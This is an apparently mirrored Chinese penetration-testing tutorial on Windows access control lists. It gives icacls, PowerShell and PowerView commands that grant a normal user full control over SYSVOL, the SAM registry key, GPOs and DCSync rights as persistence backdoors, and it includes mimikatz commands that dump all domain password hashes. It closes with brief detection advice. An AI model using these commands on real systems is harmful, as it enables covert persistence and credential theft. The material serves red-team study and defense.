渗透技巧——Windows下的Access Control List
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8B%E7%9A%84Access-Control-List/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x00 前言
Windows系统中的ACL(Access Control List),用来表示用户(组)权限的列表。
在渗透测试中,理解并运用ACL,尤其在后门利用(提权)方面,可供发挥的空间很大。
而站在防御的角度,如果系统被攻破,找到并清除攻击者留下的ACL后门,同样需要对ACL有一定的了解。
0x01 简介
本文将要介绍以下内容:
- ACL相关概念
- 查看ACL
- ACL利用(文件、注册表和域环境)
- ACL检测
0x02 ACL相关概念
官方文档:
https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/access-control-lists
Access Control List,用来表示用户(组)权限的列表,包括DACL和SACL
Access Control Entry,ACL中的元素
DACL:
Discretionary Access Control List,用来表示安全对象权限的列表
SACL:
System Access Control List,用来记录对安全对象访问的日志
直观理解:
Windows访问控制模型中会用到ACL,比如文件、注册表的权限都包括ACL,用来表示哪些用户(组)具有操作权限
例如对某个文件进行访问,系统将做以下判断:
- 如果没有DACL,系统将允许访问
- 如果存在DACL,但没有ACE,系统将拒绝所有访问
- 如果存在DACL,也存在ACE,那么会按照每个ACE指定允许或拒绝
对于文件夹C:\Windows\SYSVOL\sysvol\test.com
,查看文件夹属性
默认共有五条DACL,如下图
选中一条DACL,其中包含多个ACE,表示具有的权限,如下图
0x03 文件中的ACL
常用命令(icacls):
1、查看指定文件的ACL
icacls C:\Windows\SYSVOL\sysvol\test.com
2、备份指定文件(包括当前目录及其子目录中的文件)的ACL
icacls C:\Windows\SYSVOL\sysvol\test.com /save AclFile /t
3、还原指定文件(包括当前目录及其子目录中的文件)的ACL
icacls C:\Windows\SYSVOL\sysvol\ /restore AclFile /t
注:
还原时,路径需要设置为上级目录
4、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限
icacls C:\Windows\SYSVOL\sysvol\test.com /grant test1:(OI)(CI)(F) /t
注:
(OI)代表对象继承 (CI)代表容器继承 (F)代表完全访问
5、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限
icacls C:\Windows\SYSVOL\sysvol\test.com /remove test1 /t
常用命令(powershell):
1、查看指定路径的ACL
例如C:\Windows\SYSVOL\sysvol\test.com
Get-Acl -Path 'C:\Windows\SYSVOL\sysvol\test.com'| Format-Table -wrap
2、添加用户test1对指定文件的完全访问权限
function Add-ACL{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$Path
)
$acl = Get-Acl -Path $Path
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.FileSystemRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
3、移除用户test1对指定文件的完全访问权限
function Remove-ACL{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$Path
)
$acl = Get-Acl -Path $Path
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.FileSystemRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.RemoveAccessRule($rule)
Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
4、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限
function Add-ACL{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$Path
)
$acl = Get-Acl -Path $Path
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.FileSystemRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
$file.fullname
Add-ACL -Path $file.fullname
}
5、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限
function Remove-ACL{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$Path
)
$acl = Get-Acl -Path $Path
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.FileSystemRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.RemoveAccessRule($rule)
Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
Remove-ACL -Path $file.fullname
}
利用思路:
1、本地提权后门
在取得Windows系统的管理员权限后,可以修改系统目录的ACL,添加普通用户的完全访问权限,作为提权后门
后续可以通过dll劫持、文件替换等多种方法从普通用户提升至管理员权限
2、域环境GPO的修改
修改域内共享文件夹\\<DOMAIN>\SYSVOL\<DOMAIN>\
的ACL,添加普通用户的完全访问权限
后续可以使用域内普通用户的权限修改域环境的GPO,修改GPO的计划任务,实现计划任务的远程执行
相关方法可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》
3、域内普通用户读取域内所有用户hash
创建ntds.dit的文件共享,添加ACL
后续可以使用域内普通用户访问域控制器的ntds.dit文件,读取域内所有用户的hash
0x04 注册表中的ACL
常用命令(powershell):
1、查看指定路径的ACL
例如HKEY_LOCAL_MACHINE\SAM
Get-Acl -Path 'HKLM:\SAM'| Format-Table -wrap
获得Access项的具体内容:
$acl = Get-Acl -Path 'HKLM:\SAM'
$acl.Access
2、添加用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限
$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SAM $acl
注:
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
表示其子健继承当前注册表项的权限
修改注册表项HKLM:\SAM
的ACL需要Administrator权限
修改注册表项HKLM:\SAM\SAM
的ACL需要System权限
3、移除用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限
$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.RemoveAccessRule($rule)
Set-Acl HKLM:\SAM $acl
利用思路:
1、本地提权后门
修改注册表项HKLM:\SAM
和HKLM:\SYSTEM
,添加普通用户的完全访问权限
普通用户能够通过注册表项获得本地所有用户的hash,进而获得管理员权限
3、本地自启动后门
修改注册表位置,添加启动项或者劫持项
0x05 域环境中的ACL
通过Active Directory Service Interfaces (ADSI)实现
官方文档:
https://docs.microsoft.com/en-us/windows/desktop/AD/controlling-access-to-objects-in-active-directory-domain-services
Powershell调用ADSI的参考资料:
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
常用命令(powershell):
注:
PowerView已经实现了这部分内容,所以本节直接引用PowerView中的功能
代码地址:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
1、获得当前域内所有对象
Get-DomainObject -Domain test.com
2、获得当前域内所有对象的ACL
Get-DomainObjectAcl -Domain test.com
3、获得指定用户的ACL
Get-DomainUser test1
4、添加用户test1对指定对象(guid)的完全访问权限
Add-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All
5、移除用户test1对指定对象(guid)的完全访问权限
Remove-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All
利用思路:
1、DCSync后门
注:
该方法学习自:https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
DCSync是mimikatz的一个功能,能够模拟域控制器并从域控制器导出帐户密码hash
如果我们在域内一台主机上获得了域管理员权限,可以使用如下命令直接导出域内所有用户的hash:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
导出域内administrator帐户的hash:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
默认情况下,只有Domain Controllers
和Enterprise Domain Admins
权限能够使用DCSync
但我们可以对DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
和DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
添加ACL,这样就能实现普通用户调用DCSync导出域内所有用户的hash
实现代码:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270
添加ACL的命令如下:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync
接下来,在域内一台登录了test1用户的主机上面,就能使用mimikatz的DCSync功能
删除ACL的命令如下:
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync
2、GPO后门
(1)查看当前域内的GPO
Import-Module GroupPolicy
Get-GPO -All
如下图,TestGPO
是我在测试环境自己添加的,Default Domain Policy
和Default Domain Controllers Policy
是域环境默认存在的GPO
(2)添加用户test1对TestGPO的完全访问权限
$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()
(3)移除用户test1对TestGPO的完全访问权限
$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()
后续可以对GPO进行操作,添加计划任务,实现计划任务的远程执行,具体方法可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》
0x06 ACL检测
1、文件和注册表
可借助开源工具WindowsDACLEnumProject:
https://github.com/nccgroup/WindowsDACLEnumProject
能够列出存在风险的ACL
3、域环境
需要开启高级安全审核策略,参考资料:
https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/
开启策略后,Event ID 5136会记录域环境中ACL的修改,参考资料:
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5136
0x07 小结
本文介绍了Windows系统中的ACL在文件、注册表和域环境下后门利用方面的技巧,并给出检测后门的建议。
我从PowerView中学到了很多域环境下ACL的知识,在此感谢作者的开源。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK